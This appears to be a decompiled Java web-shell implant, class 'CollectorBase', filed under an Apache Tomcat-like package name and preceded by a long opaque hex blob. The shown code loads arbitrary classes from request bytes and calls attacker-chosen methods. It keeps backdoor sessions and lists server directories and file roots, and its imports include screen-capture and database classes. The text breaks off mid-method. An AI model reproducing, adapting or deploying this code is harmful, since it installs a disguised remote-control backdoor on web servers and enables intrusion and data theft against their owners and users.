8d2d9d7da78a8d56a0225501fa7092c29e7d36fa79e6030d752f7ccd8f5a5717018407f8b5348a3e065829ad48ce4e246339fd1b56ee8edcca1a955a1dda020f845c204071f840a37780596c9421db8713d8f40462e30def5afb627fe4d76302bcd4ad20e454aa8a7f8fe4f07816679cc49f17ab71c8eed4115b4813cab901f0d28e6ea4dfd4ef41b03fbd9ba818b4641c0fcf4376529ed3db343cc605a85070b4a06ee86409e3d2163a1854e35f1461ebaf2f1b904cbe23c5b275596cda1e2a9bdc66d5aa4fff0e968a71b52b1adcaeb67541d613be970a8e8736af366ef762d0e4686e6ebea3648ab5f4a9d3674196561cdbc18cd6480850a66e39f31c16163fb54e2b1740550165554dc3bbc5ad2187ef5d38e5a0e4a17ca5c2d8126f91bb294acf58587f783905fb686cc376d4fc55806d3318fd54a434b07d130c5d5e67eeff4b2da9dd9ea79e6deaaa7e139943d9c5c653041ee6ea8bfdc9eb35935a0dbb23c0a632b012bbbac235488d5962eae7de2b0ad7c1b403ad96e375a0855b3ae21d2e4bae2e6dd10d6c934a809517b2f5afc910a6a5e38390295769844ce6e44f44600876307255fdc7c2fb032aceb0de53b3a36423fb588511c5634eaeb2aa4bbad2132ccd7dbfc02cb189b0deb0a671da604f20557677388c310c66a47c60517547a71a353a3c66021fd56aa617f2b346bae7db0329b9eb4573c6654c0dd322fcbd764e4e252b88b2692ab6178db3ee9d2cf03ca406e35b82d3c3b2cb58845d579575c4d963923f6ee8333a68f7d42ad679a90406236705ec2ae1fc54f17f35414ca1c3905d7ae296875f0ad16ab2daea3aec935b7be9ce6656de6fa629e746cfac31495b509b1fabbecf848bc4c70e04a80e7b9dcc77f448d96875911b7f05c5915c29f487d9803067542d348f51547acac7bcc33965c39b890deffcd278f69eb9c3d3114c883cd6d8da52e944646186a137a1ec6851406658c6ec5f9be55d49ba6e0d80dc6c9015ee0762cc14bbf18ca0c8367556708447fba06ee5bde69d87a7910e7736138b29d22dd9ac9d3326f2ef87967a4d056b09c3971c47f92bba36940207f980aa3157aff86ff052050299f54827ec88cf67bad71343d3468c4cb9b3843c058ae5169517041fc99c4694e498544c2d963401df1463d8338a43d268ceebb929bec3cb138697192a3522320f04de344333e08827e45746d4c1b6b8517c6c476053453ab07a16ed4b7c7ca426290017c0b0e417af08e955b15e89bfd18e721f47f87862edc26767807a3a4c538ad351a41f2f2600e59cda2ab1efca489b777eddc668f5eaa439c2dfb50a2c70cfb5a0a0bffbd035f257ee0ca8f67adc5a61640f22e558738236044f91d13283661eed69991a20308a0fb6f21f095784d476bc8fa4987a6e4f2646e74e9b567fbd951f1625bd64a95df92d4ca102f64d4f7d79123b6ff55a644b17b3760b8a0ad7ce92ea278cb7a88b755c32533bf68a6837ddee49382b8f74a994719ab1c309cde2a9bb52195b23c6b904cce51bf27d5047dd4a533fa89a83904d2f7e46732a5c8ccb5fd4c65f91b90ba2697e7487edfb920ca4a1524836ec72e88bc5f6fcb0e81826df905772c5ddfdbba4a9b550190de150524c1a160178a5d8ea4def27a73202fe540d81e870dc2d11fca438ce1e3f57181fd8e15a7f9b12dfe5effbed964ee57a599c87b151a16526a5abd33a84507562b28a45dc7d294104f377ea0967a182e9bcca9604a7bc22f4fab218deb82ae3527c3ce685ff84305d73c5e851b1cf9064b469ee8d18d5d6c9e6fd210c141c839fe03b06edd5ad6b38c068b9083c3b4d7c17abb2059d6c3fd57534f649d7ba3f8a97fb7eef0de55aa0b74f4099ffae9f2192d1a931ff87c0c4a3af824bacfa6238225935df407b5d77a068ccbd03ea727834470350708306f47d76cf08b7967146eda1e245da1939f00a4651dbeda30f4ebbfa3b14faba0e1a5d2cda54272e9464fe449d63d65dc03662fcaa6d52fd7781e0fc1d6f866695b1f18643516f62c44ef91b789bd3f056b2469c64a7076fe15e65c984fe54608b1402e942be349fb140ccdf73c5cd2e111d595da71da6ce7f3562c7242b9bdb2d51546992c510a289262d4bf118a36c7eab75f4729c1823f61b649d4878ecc8be907c06619b19d30823c3942d289eafc2abad29b945a30f6f9fc88863441c7748a96cad4f38e61ba36bbb041a15f4157e76de164536b250aa86f0ff0d5768079f1df5c63a44aa26b337849e3328a644883d7c9226ee869684bd9dd7be47eae5a5d6f0091b3a428b9880ef986a93736a8bccdf3fdd3bdbffd08d10c5699ab63d4d7ee5da485c939b4583935f9a64096b7d9e3e303dd2755d939ae08c77bb032cd30d00b7fd93891ae5ab14ede4c2f6b37d00d7020ad1f173831f657552df44791a2b1341bf564e47b7fce112613eccd89dd4ccac5ab51b26ae696353d4f77e20d9bc20c2d1342c3c7f8d5b4db54b75d9e10bf80b7ca4619d589579613b02a35689dde6ed3295850af4ba34db193911b6fd4811c7b38005486006d00c9e1efe19e25d247023b356f411875a3bcf16dce6c10375a036c8a37e3f8edb908460d49af82be07e446451c30463f5500e791f0a99445c526f0dbde97567510ab42ae39c76abfe5be1a08edede7f636f5af197050dac85028975cc28a0b55753b70c7a351ace0b5b037f8c2875816f3124e89291928cf9107211f005a893f60e5cbbf0f8d923c21cf1a40b23097275cbb294bf8c109f02850b1180769eb66616f7301adc38edb27c1e22e39259c753708cc10ba6ddda38f9779ff182a2277f7609ba0afebdebf7b6583b51b98acf93211aaa14d7a6471cc7371f1b4e9fde6c1842d6468d63d3d4abec6ac8f993092468bcbeb47ea19b4aa54ab23393c961f568f1ad84dd31d09c31836940547010aca6dbef726db095f942ebe1b5c18782d33cea64d08f3d8049e11c263d0efa4d709e96d9cb8757b758b47071144d125bdf88597d32d2af3b0193fc18814256e0b80f9ffe0616098f0225fdaa6affdb19f6dd9a5800b53d4fbec91ca8a6a4ba17c378757c6685f3fe50aff75fcbfaae63c33bcfd9ebcf02ecd3020a0474c398d87a89ec077f26756afbedce55821f31d1b001a2237409c1d094dd0feea3eaeddda2a5ff3955fab5b3b9748d2280c0e12644ec26710141605c904672963927e6f978c2494cecbb4462236cbf9a732c37ef7ea610a589d22c24baf6741dac1c28cab07259a9c4530d6e89ec270f8ca7a404f63a562c58935d95c0eb35dfd3d2555905195ef643dcf78e76c62bd39c2a9e4410781e80323665aa8e945f6582d319ccd65e9964e6152ba25494e68cf3e8271cffa9bc435a5922728078f646523bb89f0d6295910376ce95118b4067d465e01cdfc9a0192e89feb19e4a52b92ebf4d5caf9ed1857041a3c21fbf6aa9c4790ac8388ec698d1cb618a1cc0b90d897d730718a73556e5506aac230a94aa5118c5f44f812c0d0793ae499ac1586e86a2d151c730a03820a52c6eacb99c907b83268a449bbe973fd52179e1fccff52dbf6c0e27158259acbda829127c18304f2a1a0e28fbcb701ee46ac42c8cea493ca5d48e7bb3ec134718d0b8978ba12e2362f6370fba6fca27f37cd11c1147726de07091e7582c4517dc767026f0087f7b718f1e71b25a0f7cd17ba308c6a8da6f97f754d61f6dd05e85f1bb0d760862aa7ebfd3e040605ddbe71e71b58d27d564924f8db379e38f88d3997952698272e1426927a88d92c0e200fbea08055b15a8a9c6eafe43a754b8293d2a6ebaffefbe4ab9c694ba0555f2f45a501f6c3551a68d0f13e1be42ccc90bc582ffadee8f1159072a4f4474f3767bae16c823d90c969a700fb9910551b54909a9b728750bd08993f1f84da1e9d961965e4a768644b0d82dea1fd3971f448bf5362634b441b6ee8bbd1725178adf5ce1903098f316e4874040e20472602b1ea6332564013710d3d6feb8b507567260ec71f1dc1c770f35a0caa52d2f99cb1c8379f27e6ce6e42353242fab01c546479332adbad30f9ae74a8f3cd0fecc1e192460a732834cd335b89e1bc2eeb41a3109d3280cc8ae45ba56dd458ee0dd0bbdbcc8ef4586141f1c711cb0dd1387eafb0a2a22132ec1326ff5a6ddd465de0d268582f706bc1dc9455d2e3042cecca0a75d09be7f74f8ed4514ceca309d79597c85aa3c9438c3515d9da17ae8112fe2ae7baa86f6395de0f32baae42502f3d3032ca759fe44f5ba8f01ba2cc97e2cd82562cf5bd76e1db251b45d9995fa6d7ba84460e7bd0dad4976d003be32568c6e4f9bc3b1ccdf294c3ae5d643f7c9d15c32eaa559d6ecf8d5e45bfc705c623806b0f87afb773ce8f5d93cea44bd97bb5ad94c0a829bd4f5353570921f24d9effa4b273cc9bf1dd267e39cc49c11aaf36132d0404702d445cc43cd53cbe736361a5d7baedca5652ca82dd416c1ed3ce1f96b8377c7b817d59095ec29a79d2da2a8561eb47f93f7371ead7133876bde2a6ec9157e5931d511f3f9db7f3a71ae225422d877515eb6296c0dce1f2bd5dd9d40bdf9b6b6985a60f0018d7f6284f38d6be87ef5b99f3d144f0c69735aba7ad56a8fcabfb7475f4e367ebf52b43d703fd092e8bffa91b95c89ec72edcc331f81bbdeef150b2d8e175c99450380e0a6280a5e55b91ba2529cb8b9c73cfeac0dd713d752dee200f5323993c4accbcdd2437fcb2dab1ac06aafed2cd1a0cb0d1190e08f78dc88dcf70d44ffda29fb96681474ff468049d8accebbd2cc6297cffe42b75f1ff08e4ef0a351dae9b77aea0d555642c1a80c6bceeba4e4d6747b7fdfd2749fc854f865474d13d6a4a86e80f4210a01a7ad19ae50e98e638e03c00d8f578456445da5ed34015d0f131cd1184cb22c0255d519d1587996af8cfb77c9080b425f944ab7a2e81f1f79426db94e09b52f4663d0f8cf6e8ee69a40944b25f74ef957e6d6ffbfa54c8dfaf14be4f690ef5c9cc6ecb2b674293dd9ffbfb21f472dd665093c510842c2e38bbbc126d26c41b5ec947c74efb63412f91f5548a1f0e01687e74101bc7b4a34de4d7562b6f9daf68e896215b25fa7d5aa0da1df8c3e5537f17c7661b6379538fd0ba7cb6e287c389cf385b1af019b276d2d856ee4c1b990fe19ab80c9c6a7a0c630e4fcd09170df83dc6675b1723dbe96bb96bbfd568bbb8fbb210823e787dc9061fa40a5f816a9177baf939ba0ca8ac01dc721b5f09a7e42cd808be2a024d0aa70498a90d098c525f2b45e871fd331a3746331f94667dd0a3579e5cb66a4700586728eb20c4110769f4cf2eaa433c24728822bb1c50a998d758e5d62fe099144f52c1643069ea4b5b7d14e9f3a5fd68ec05a723178bc74dbc6c736d4bfb9eb286fbf3fbcc254c269b5677ae8862381409d8024ce076338e3ad843f6b9f360b28602b008fb659df43061c74df1eecad2357739bcd6b8c664561cf8cd04ae9261f329dc84cdb83b3466ec2ea60e9630471d8cfd036795a8fca35e513f589856ba423d589c8e4f4e9a443f49d6b493ceb0406712a7d68f6df8e49338de0df1d5eb5a749625b071dc905e142c75e9ded4f2119e679bd24bfa04692dd195f32f1643b27e156327c31170dfc2a95c2d5e7edf175e3c36f78dd855f117b421dd2095ee433b9e8794f8b7361b881d255215e5eac2d9b086ef261bf82fb9a22b78a5f4122fd78dfb49f07188ed1e8d20ebb42ee98bea802187fa519304625a08e27fd90a70c7835b7e6a9be806fcdb256f87370d31845b01b32b06a27d97cd98ce940d6a37fb25587052df5a3898a09a82fab25b9422ac93ea05d94eabbbfd9b5465a3df681a35261a672c8346642d1489a1e5ad4c2e12d8c36645f0db9929f6c42f7fb24f2bee223028b5703fb9f548ee835a555b7c774a1171aba392abe6ad34b30221976ce351dab115ea0f33472294dc7b12903af4cf55acba6215a4b695d9285926f47898f86a6795213662d8576cd64b8fa61bec556ba7a82d43eb5e02250904bc2ddc12cca92d8778db73d1178669431bec51f43f269f822ce1b8c41410b2e69bbff72bb9de9325f9dff95b345bc78ce2d3a5a4519e888932eb7d4d167643aa410de5e93796f8afc1d117b9b9420edd0bb0233eb42abb394f8608490285c978e42500e0270b47f7b1ef31dfb5832e1891ded0c6a07aa72222b18e6ffb2329774e3f7be120fb11c2f44544403365b0313e07073a9dfde5fd60ea0958e350c952dca3599470c1f43d07f2ddb6613c9c1f69db8fc1e3b59dadb945b3a4bd3a1f725a73bff4ab3867895c3478bc36b174d469d92ad62cdfc59cccb34ad9dfeae64f51c66e07d0e36e6ce1f6c69fbf1c07c9d1e2bd1e87dbf29e1e42f43e9bc3b175dba1736d483e32c5b02365d4efee9c8c88bc4564c65260678e45caadca963962b7aabbd76326ace7cc9d395676dde2782679cbfcef948f589ef7de142d58fd853b5835c43a55aebd6b465ef5c74d2ae7f7a6bbddc13faeeb3da82c0eb43142778e4f33bf4352c307e58994fcef216763b8bdcd3e50ddadca88c618c5f7c9dcf2f9a3891430cb77850e60e4ce6b2e0c08b310782b9789f57c3c5886bff551248b002257fa19b9100acdfcdb7a40c322acd9fc173e77fb98bc76c6c71e3421ad701551f7f63c1803922b06dc116d61c22f85a6c3bd9aa71f1cd04c779c88bd70cddeee7b03e8aee19fe1d352484161e3755291f72990d15f08608b95deb55a4da503b8dfc5901a907d7d464f3c10f47d42cf0ea8377edc31950ca9aeb209fec231459c71b336157f517fe19ec761431dd6023d8c8dff01b68a009d4b2ef5037b99124801c151268f5d6f4b979d451306f10b0c33a9d5acd7930baf6d023878f38afd8e54c9920940ec6dcfcab609aa078054cfdfc43e5f4d0d7a0cfa926d82f36b643f5fcdb466c3dc960d7f79f9050b896801c1464af59e1a857f38eec25b0352746b9205ff8525591f96baf77b66451fd4c0258e167a40d63e56360cab5af2ae978e3fec071538d9a4a4f8f813fe9a1b825d3d5b399948c2366da0cfdbd541fdc6ee764fdab378951aceff03fdae608014ee8a396f59e0192305b911f2c975286332336f0aa2499c2b2d88ccb5362e5bc7f399aca0e53e76a807b5f1b9fef3533c3c5e93a7352490a933c18d864a28c451e5bf8f65a6bf643bf829af4eea03cceed8ef775fa218fd11b42694c5ba861a789fabd7914bc5c920f76f6c1e83365a4e8e91943c159aa5f9fdc6bf9fe6040dd28abf04b6c9143ad8ef4d81251b59ef20d662efcea064297b6592aba4a9bf2b3faa11d3dea7c331fd3ce5164e7a22f8f0afd931a01801100821efa9d2cee87ce123bf02aeafabec1806e436e5526eebea309b2abb86b778c20c1955beaa3dde162cda2c9b5355af81258ddeff5a6ef671645afdfe8a95943056b17dbec3d28c4f02734fc9066963e88a37cc901354c66f9e1193d653a2e13a0c2ef01ab159c0cbff138ded031f20cf195a1b0542e4403ed4aea4eae4f0b3c21f863d7b0560649041b6512c45e418cca8b5d302f1182ded09699f2404f2bee3bf06cf7410a1e71ac968c30b6805650544f14b7931c8e6812010e7ff122748bda9664104e81d79b682fdba39d312664e7a758d531f1b534a964b6cd8e08584d60ecaae5ee62f7b93c6a60516d67e17b600c6ee47f8130fbe9cefcbcdb0eb6217cf8f3a9c851af8a89c94a315a71211d66b91952a58b4807b701bbd63984f81d2a2be546d5886a803b2d59d7ecf66d8d113fd80d214f5879b441b85d6bbb83a94e6d1d484b3e9d8e83f567f3c43020704896fc574e442eb75bdcbdfbad0167d7a65c58b1ea0caf54541cc603be1d31372014133ef46f1d81d2b715a5bd9ee8270ff15666db4c92d794eb9701f2319029664adfd6146e4b8328d758b2b52ca773dfd5bd900949350ca67e649b8557b11b546f52b5f29bbbb0fec931c117cd7c6fd96868799e5ab0f8c17e4ddbb831818f0ad0c77e8e26360518ae28019bf44f8ac6280d9f88f163d066837a51f50e06dee8e30b4523cb867f4c85360fb142ab34414c1668fdb5747f0abca9d74766ba797035f718e700e83613c3a0cd63545a9c7d10e3556e95d362003489711000f29388e435e1bd07558d033bda36e1b204da762bf7c6d6a15a2aaa5bb2f1af3fcf55048b715edbc42805c01678181116fefd77cb68e385a3274c386b5550ee11fbd9722d4c8dc91e7c5e201fccee8a4bbe04c3e72cb60140328d7308b56a62faf133a4f787cdd59c7d0fc438517cf8c8c4bf1abc2f526a4f910b19cfe1a3ac21ec3bdfc32a3a1b74652463d8157d44d0fd74e7d5c0fc2d8933a20035b9afe647cb234208eb04788cc9769c6f9548143c7f3584010b61b62d9b3688b58a544e0d9085476a0f947b5de9f35bc507c53311e10ffb920c71888d0d5d3050dc9cf800c6672bfb4d8b1e185e3c1f34d3ba3e4f847d3c78f875315b7503eed66fe16ecc7a1cb899621948d19e6ad5cb48d95b1374bad5e58f1af0a927331d4b2ddf1571033f5cc0f4f582877a0a9345d6f3e00ab97ccf61b43526e5cb99c0f82b5b9bd78c6792f8af68205f96f7bbc30021648184db28217e8698cbfea2b917e166694d13b92909ebffc6b33b7e493782c6496f045703cb6265175a6d109377f0f71b8b6b1ace6a99d1cf2f711364d7822a87f6865ec9c1b2fcf29fe0f9b6d896bc85527f162f625cbc4e255f942fdc3116b6aa5e362b445cfe5993b1c8bade46052fee150750c7231b98dba2ca4aa9aa16120db5865b40a5a0c2bb67e5a10cc4b1c91dd26fa6739073c924d6a6d90ca85af3b9243b6d8249448cc7934cfe5c082fcd4f1f26a867dee37686e35ad2d0049f0e6d56dcd4c4c97b312189ce703787003990c0b5685163cbe0da18aa311b64aa8550c4d137fc264707fe36bcd9234b323f34b3d82cc808f8544a501ff54d21c5aa8293baa947f2acff3595c2adfc55c5225071e26aaf69c20ff3f7101c8f9b93f9f5d9e0099951b1858b6227b9c196edb12a6cb5297586137082965802fe4898270982ce1210d0bbbb93db40517c8b4dc06e5164ac402957ff1ec3f259cdf9eec3379d26fa898645ad9a9a7a19f0bed4689541a2ad5c785c56c751f219ceb3a666bebf0c927ab5572d33e7a82527210b00956472276f0ce33593c6b9514ed60705b187e78976efeaf36c81f33b9de185915f1535a0885a6f35945399d870f69db8023b3940f6bbc6d13c00b4348bcb09e9bc69c6663808dbeb5bfbf599edeb32d8c0fd456ba54a4d0076d4c3645861023771765687dfd2cb3976d60fe3608329e07ac375092ac6d1e49cfda5200fa273626e67ba9d2229b50898c5c28a75b91991c85bb9fb0dd949f50793a29a4a6a5f64b6b36e4d532465c9e2c52a1fca0ab207b72eb2998fa378f6efdb4ce15207e3881f91bac239babb4059a82789612c1eaecd1b2bcf0d3a43de4d36c728363461e988365daed99b04f2db0365f06a8d2440121ea3150f6afd0e7f16574d14d0c91b0cdabd0f7b58337323419cc41db96e0b00f6fa9b61fe871d30d371169aaba99f456839881babed7f438e27f2439ffb86334cdf685aabc3bb6484ec6682e9fb90ce6b5955f34dc8137ae2b74f0b6f012261a8d9d60ceefadc9dcdbdafcd0e2de383a57a73327112f84283ef724e2886a846392c9ba4b36e1238110f27fd7c0f39a0c1693ddaec6ef84a245f89af77c15c8dbbf9da3167554182d04a3e1ef90f9bd5d493cd2d283a0a635cf5ea4b3bbc85960cb28c9674b4b0e1cf6d7532639794d7aa58020a60bd7e4c434d00edf376c04f8903c8c0f4754430a8f7e1f72c55b6100ca9f3aa9f0587f8f5a6545bac9e202fd3493748feefc8ee1f7e40f9a936fac5e262fba2267ea066002fbc4f42717e2ad83a8a329216b90e50079823f114777e4b57f058a6d24e9ec43070b1ffcf04d9a39a7a6b5caa732cf370519a09c58f78bffbfc5fc87d453581d9ddcff61875d2d6bb09f4ebcd8b15313210f8bc22ec07976b93f649cf97d61232216bd1db661da6efe0892d24d8df515f691e3a9b64019045fdb3b1a355a703443b6358c1853c3f25666827f0830fd5d0c6cc1864cf89bc59084aa3dff0f3ac989b23f94964a003a96b7f754071589792b6142703e083ad687a4e25b2c850f3dadf71e45eb1b0faed556c82d0d917af43fad87b33e36f362b14463d93423cf23e94e55886c322930ba854639acd04c2a7f4ac5553f9adb86b44c99db8103ab448eb243349df954d26504eb4017d7af6718438505fdc484accd73170560419a823c6b57f3f913df4fbdfc3c99f4a3833f777d940f41684ed20304791c360046c97f4ee53e758e596b7a039b5b4286689d58b8f478b2509f47316b4d96f2bf8180cffce8644ba3f9d0fe7d419a3f5ddceb7cca4f37247860909a011b95568f16d53b9cac7d3b9f27c7ec32bff85fd3f9c47f23b804205b9a792587f07d87cfadaeae241dc5703e794e10d6143198b87d29859f590f78b5762a203ea37883999f75b83849c8b58a07f09f4ee39a7def73db5afaf28f555d261b17ef19462b10b127302131bde5d45648ac522d717ec818852e215bc5c46b189b8f4170eeb7f87a033c71fed1eb55d00b26d091d23e00f4655e62134ffe925e05e7b60ae7a0c9c26ecc8f868d189766bd5cf36295310fcb07ebbceffb4942e6c12251e8fbbde85abd353762191f05a9aabb37cd3bcd2dff09004feb5599d4280cc96ff15c54b085e24593b837155c3bd83002d2f446c9076412364e82025bc761152d9f9c9514b407c568531b6950bd91e9a66f97f5c7d3985622db235f20bd0295a751f3d17a48edd463e84a47931c396b93777512cb39edd808457df1484b8094bc55d2cb666244b1f418742d097a9d376d8f18931cde53f3aa5b71232fd969614850bb82ccd56f3b28110cf4f51a2162da77fff72d1b8ac9633"} // // Source code recreated from a .class file by IntelliJ IDEA // (powered by FernFlower decompiler) // package org.apache.coyote.introspect; import java.awt.Rectangle; import java.awt.Robot; import java.awt.Toolkit; import java.awt.image.BufferedImage; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.PrintStream; import java.io.RandomAccessFile; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.net.InetAddress; import java.net.URL; import java.sql.Connection; import java.sql.Driver; import java.sql.DriverManager; import java.sql.ResultSet; import java.sql.ResultSetMetaData; import java.sql.Statement; import java.text.SimpleDateFormat; import java.util.ArrayList; import java.util.Arrays; import java.util.Date; import java.util.Enumeration; import java.util.HashMap; import java.util.Hashtable; import java.util.Iterator; import java.util.List; import java.util.Map; import java.util.Properties; import java.util.Random; import java.util.zip.GZIPInputStream; import java.util.zip.GZIPOutputStream; import javax.imageio.ImageIO; public class CollectorBase extends ClassLoader { public static final char[] toBase64 = new char[]{'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/'}; private static Map sessionMap = new Hashtable(); Map parameterMap; byte[] requestData; ByteArrayOutputStream outputStream; Object servletRequest; Map session; public CollectorBase() { } public CollectorBase(ClassLoader var1) { super(var1); } public Class defineClass(byte[] var1) { return super.defineClass((String)null, var1, 0, var1.length, this.getClass().getProtectionDomain()); } public byte[] run() { try { String var1 = this.get("evalClassName"); String var20 = this.get("methodName"); if (var20 == null) { return "Method is empty".getBytes(); } else { Object var21 = null; if (var1 != null) { Class var4 = (Class)this.session.get(var1); if (var4 == null) { return "Plugin module not loaded".getBytes(); } this.parameterMap.put("sessionTable", this.session); this.parameterMap.put("servletRequest", this.servletRequest); var21 = var4.newInstance(); } Method var22 = null; boolean var5 = var21 != null; Class var6 = var5 ? var21.getClass() : this.getClass(); var21 = var5 ? var21 : this; byte[] var7 = this.getByteArray("invokeMethod"); Class[] var8 = new Class[1]; Object[] var9 = new Object[]{var21}; if (var7 != null || !var5) { Class var10002; try { var10002 = class$0; if (var10002 == null) { try { var10002 = Class.forName("java.util.Map"); } catch (ClassNotFoundException var17) { throw new NoClassDefFoundError(var17.getMessage()); } class$0 = var10002; } var8[0] = var10002; var22 = var6.getMethod(var20, var8); } catch (NoSuchMethodException var18) { try { var10002 = class$1; if (var10002 == null) { try { var10002 = Class.forName("java.util.Dictionary"); } catch (ClassNotFoundException var15) { throw new NoClassDefFoundError(var15.getMessage()); } class$1 = var10002; } var8[0] = var10002; var22 = var6.getMethod(var20, var8); } catch (NoSuchMethodException var16) { try { var8 = new Class[0]; var9 = new Object[0]; var22 = var6.getMethod(var20, var8); } catch (NoSuchMethodException var14) { return "No Such Method".getBytes(); } } } } Object var10 = null; if (var22 != null) { var10 = var22.invoke(var21, var9); } else { var21.equals(this.parameterMap); var21.toString(); var10 = this.parameterMap.get("result"); } Class var10000 = class$2; if (var10000 == null) { try { var10000 = Class.forName("[B"); } catch (ClassNotFoundException var13) { throw new NoClassDefFoundError(var13.getMessage()); } class$2 = var10000; } if (var10000.isInstance(var10)) { return (byte[])var10; } else { var10000 = class$3; if (var10000 == null) { try { var10000 = Class.forName("java.lang.String"); } catch (ClassNotFoundException var12) { throw new NoClassDefFoundError(var12.getMessage()); } class$3 = var10000; } if (var10000.isInstance(var10)) { return ((String)var10).getBytes(); } else { var10000 = class$0; if (var10000 == null) { try { var10000 = Class.forName("java.util.Map"); } catch (ClassNotFoundException var11) { throw new NoClassDefFoundError(var11.getMessage()); } class$0 = var10000; } return var10000.isInstance(var10) ? this.serialize((Map)var10) : "Incorrect return type".getBytes(); } } } } catch (Throwable var19) { ByteArrayOutputStream var2 = new ByteArrayOutputStream(); PrintStream var3 = new PrintStream(var2); var19.printStackTrace(var3); var3.flush(); var3.close(); return var2.toByteArray(); } } public HashMap deserialize(byte[] var1, boolean var2) { HashMap var3 = new HashMap(); ByteArrayInputStream var4 = new ByteArrayInputStream(var1); ByteArrayOutputStream var5 = new ByteArrayOutputStream(); byte[] var6 = new byte[4]; try { Object var7 = var4; if (var2) { var7 = new GZIPInputStream(var4); } while(true) { byte var8 = (byte)((InputStream)var7).read(); if (var8 == -1) { break; } int var9; String var10; if (var8 == 1) { ((InputStream)var7).read(var6); var9 = bytesToInt(var6); var10 = var5.toString(); var3.put(var10, this.deserialize(this.readInputStream((InputStream)var7, var9), false)); var5.reset(); } else if (var8 == 2) { ((InputStream)var7).read(var6); var9 = bytesToInt(var6); var10 = var5.toString(); var3.put(var10, this.readInputStream((InputStream)var7, var9)); var5.reset(); } else { var5.write(var8); } } } catch (Exception var11) { } return var3; } public byte[] serialize(Map var1) { Iterator var2 = var1.keySet().iterator(); ByteArrayOutputStream var3 = new ByteArrayOutputStream(); while(var2.hasNext()) { try { String var4 = (String)var2.next(); Object var5 = var1.get(var4); var3.write(var4.getBytes()); byte[] var6; if (var5 instanceof byte[]) { var3.write(2); var6 = (byte[])var5; } else if (var5 instanceof Map) { var3.write(1); var6 = this.serialize((Map)var5); } else { var3.write(2); if (var5 == null) { var6 = "NULL".getBytes(); } else { var6 = var5.toString().getBytes(); } } var3.write(intToBytes(var6.length)); var3.write(var6); } catch (Exception var7) { } } return var3.toByteArray(); } public boolean equals(Object var1) { return var1 != null && this.handle(var1); } public boolean handle(Object var1) { if (var1 == null) { return false; } else { Class var10000 = class$4; if (var10000 == null) { try { var10000 = Class.forName("java.io.ByteArrayOutputStream"); } catch (ClassNotFoundException var3) { throw new NoClassDefFoundError(var3.getMessage()); } class$4 = var10000; } if (var10000.isInstance(var1)) { this.outputStream = (ByteArrayOutputStream)var1; } else { var10000 = class$2; if (var10000 == null) { try { var10000 = Class.forName("[B"); } catch (ClassNotFoundException var2) { throw new NoClassDefFoundError(var2.getMessage()); } class$2 = var10000; } if (var10000.isInstance(var1)) { this.requestData = (byte[])var1; } else if (this.supportClass(var1, ".servlet.http.HttpServletRequest")) { this.servletRequest = var1; } } return false; } } private boolean supportClass(Object var1, String var2) { if (var1 == null) { return false; } else { boolean var3 = false; Class var4 = null; try { try { var4 = Class.forName("javax" + var2, true, var1.getClass().getClassLoader()); } catch (Exception var5) { var4 = Class.forName("jakarta" + var2, true, var1.getClass().getClassLoader()); } } catch (Exception var6) { } if (var4 != null && var4.isInstance(var1)) { var3 = true; } return var3; } } public String toString() { if (this.outputStream != null && this.requestData != null) { try { this.parameterMap = this.deserialize(this.requestData, true); String var1 = this.sessionId(); if (var1 != null) { this.session = (Map)sessionMap.get(var1); } String var2 = this.get("methodName"); if (var2 == null || this.session == null && !"test".equals(var2)) { return super.toString(); } GZIPOutputStream var3 = new GZIPOutputStream(this.outputStream); byte[] var4 = this.run(); var3.write(var4); var3.close(); this.outputStream.close(); this.parameterMap = null; this.requestData = null; this.outputStream = null; this.servletRequest = null; this.session = null; } catch (Throwable var5) { } } return super.toString(); } public String get(String var1) { try { return new String((byte[])this.parameterMap.get(var1)); } catch (Exception var2) { return null; } } public byte[] getByteArray(String var1) { try { return (byte[])this.parameterMap.get(var1); } catch (Exception var2) { return null; } } public byte[] test() { HashMap var1 = new HashMap(); String var2 = this.sessionId(); if (this.session == null) { var2 = getRandomString(16); this.session = new Hashtable(); this.session.put("alive", Boolean.TRUE); sessionMap.put(var2, this.session); } var1.put("sessionId", var2); return this.serialize(var1); } public byte[] getFile() { String var1 = this.get("dirName"); HashMap var2 = new HashMap(); if (var1 != null) { var1 = var1.trim(); try { String var3 = (new File(var1)).getAbsoluteFile() + "/"; File var16 = new File(var3); if (var16.exists() && var16.isDirectory()) { File[] var5 = var16.listFiles(); if (var5 != null) { for(int var6 = 0; var6 < var5.length; ++var6) { HashMap var7 = new HashMap(); File var8 = var5[var6]; try { var7.put("0", var8.getName()); var7.put("1", var8.isDirectory() ? "0" : "1"); var7.put("2", (new SimpleDateFormat("yyyy-MM-dd HH:mm:ss")).format(new Date(var8.lastModified()))); var7.put("3", Long.toString(var8.length())); StringBuffer var9 = (new StringBuffer(String.valueOf(var8.canRead() ? "R" : ""))).append(var8.canWrite() ? "W" : ""); try { Class var10001 = class$5; if (var10001 == null) { try { var10001 = Class.forName("java.io.File"); } catch (ClassNotFoundException var12) { throw new NoClassDefFoundError(var12.getMessage()); } class$5 = var10001; } Method var10 = this.getMethodByClass(var10001, "canExecute", (Class[])null); if (var10 != null) { Boolean var11 = (Boolean)var10.invoke(var8); if (var11) { var9.append("X"); } } } catch (Throwable var13) { } String var17 = var9.toString(); var7.put("4", var17 != null && var17.trim().length() != 0 ? var17 : "F"); } catch (Throwable var14) { var7.put("errMsg", var14.getMessage()); } var2.put(String.valueOf(var6), var7); } var2.put("count", String.valueOf(var5.length)); var2.put("currentDir", var3); } } else { var2.put("errMsg", "dir does not exist"); } } catch (Exception var15) { StringBuffer var4 = new StringBuffer(); var4.append("Exception errMsg:"); var4.append(var15.getMessage()); var2.put("errMsg", var4.toString()); } } else { var2.put("errMsg", "No parameter dirName"); } return this.serialize(var2); } public String listFileRoot() { File[] var1 = File.listRoots(); String var2 = new String(); for(int var3 = 0; var3 < 